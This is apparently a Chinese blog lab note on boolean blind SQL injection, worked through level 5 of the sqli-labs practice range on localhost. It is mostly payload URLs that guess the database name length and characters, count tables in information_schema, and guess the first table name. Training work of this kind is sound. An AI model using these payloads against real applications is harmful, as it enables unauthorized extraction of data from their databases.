目录
相关知识链接:
原理
SQL注入之盲注简单总结 - Zane_S - 博客园 (cnblogs.com)
实验步骤
(54条消息) sql注入之盲注_sql中的limit 0,1_哇哇**的博客-CSDN博客
相关实验:
sqllab靶场第5关
尝试报错后会发现 ' 可以报错得到字段个数为3,但是使用union联合查询是不可以的
猜解获取数据库长度
http://127.0.0.1/sql/Less-5/?id=-1' or length(database()) >8 --+
http://127.0.0.1/sql/Less-5/?id=-1' or length(database()) >7 --+
猜解数据库名
http://127.0.0.1/sql/Less-5/?id=-1'or mid(database(),1,1)= 'z' --+
http://127.0.0.1/sql/Less-5/?id=-1'or mid(database(),1,1)= 's' --+
http://127.0.0.1/sql/Less-5/?id=-1' or ord(mid(database(),1,1))>90 --+
ascii判断大小写
猜解表的总数
http://127.0.0.1/sql/Less-5/?id=-1' or (select count(table_name) from information_schema.tables where table_schema=database()) > 2 --+
http://127.0.0.1/sql/Less-5/?id=-1' or (select count(table_name) from information_schema.tables where table_schema=database()) > 4 --+
http://127.0.0.1/sql/Less-5/?id=-1' or (select count(table_name) from information_schema.tables where table_schema=database()) =4 --+
猜解第一个表名
http://127.0.0.1/sql/Less-5/?id=-1' or mid((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1) = 'e' --+
http://127.0.0.1/sql/Less-5/?id=-1' or mid((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1) = 'a' --+